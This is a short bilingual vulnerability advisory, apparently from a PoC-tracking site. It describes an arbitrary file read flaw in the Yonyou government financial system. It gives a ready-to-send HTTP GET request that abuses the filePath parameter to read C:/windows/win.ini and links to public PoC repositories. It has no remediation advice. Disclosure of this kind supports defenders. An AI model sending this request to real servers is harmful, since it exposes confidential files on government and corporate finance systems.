用友政务财务系统 /A/aunp/file-access/path-file 文件读取漏洞

2026-04-24 用友政务财务系统 PoC Public

Description

用友政务财务系统是用友公司推出的企业级智能财税管理平台，提供财务管理、税务管理、费用管理、预算管理等核心功能模块，广泛应用于大中型企业、政府机关、事业单位等财务管理场景。该产品基于Java EE架构开发，支持多组织、多账簿、多币种的复杂业务场景。用友政务财务系统 /A/aunp/file-access/path-file 接口存在文件读取漏洞，攻击者可读取服务器任意文件。

PoC

GET /A/aunp/file-access/path-file?filePath=C:/windows/win.ini HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates# Yonyou Government Financial System /A/aunp/file-access/path-file File Read Vulnerability

References

https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E6%94%BF%E5%8A%A1%E8%B4%A2%E5%8A%A1%E7%B3%BB%E7%BB%9FFileDownload%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
https://github.com/hackoadmin/POC2/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BGRPA++Cloud%E6%94%BF%E5%BA%9C%E8%B4%A2%E5%8A%A1%E4%BA%91%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
https://github.com/x-xx-xxx-xxxx/wy876-POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E6%94%BF%E5%8A%A1%E8%B4%A2%E5%8A%A1%E7%B3%BB%E7%BB%9FFileDownload%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
https://github.com/Sec-Fork/POC-20250106/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BGRPA++Cloud%E6%94%BF%E5%BA%9C%E8%B4%A2%E5%8A%A1%E4%BA%91%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
https://github.com/zan8in/wy876-POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BGRP-A-Cloud%E6%94%BF%E5%BA%9C%E8%B4%A2%E5%8A%A1%E4%BA%91%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3selectGlaDatasourcePreview%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md

Description

PoC

References

Related Vulnerabilities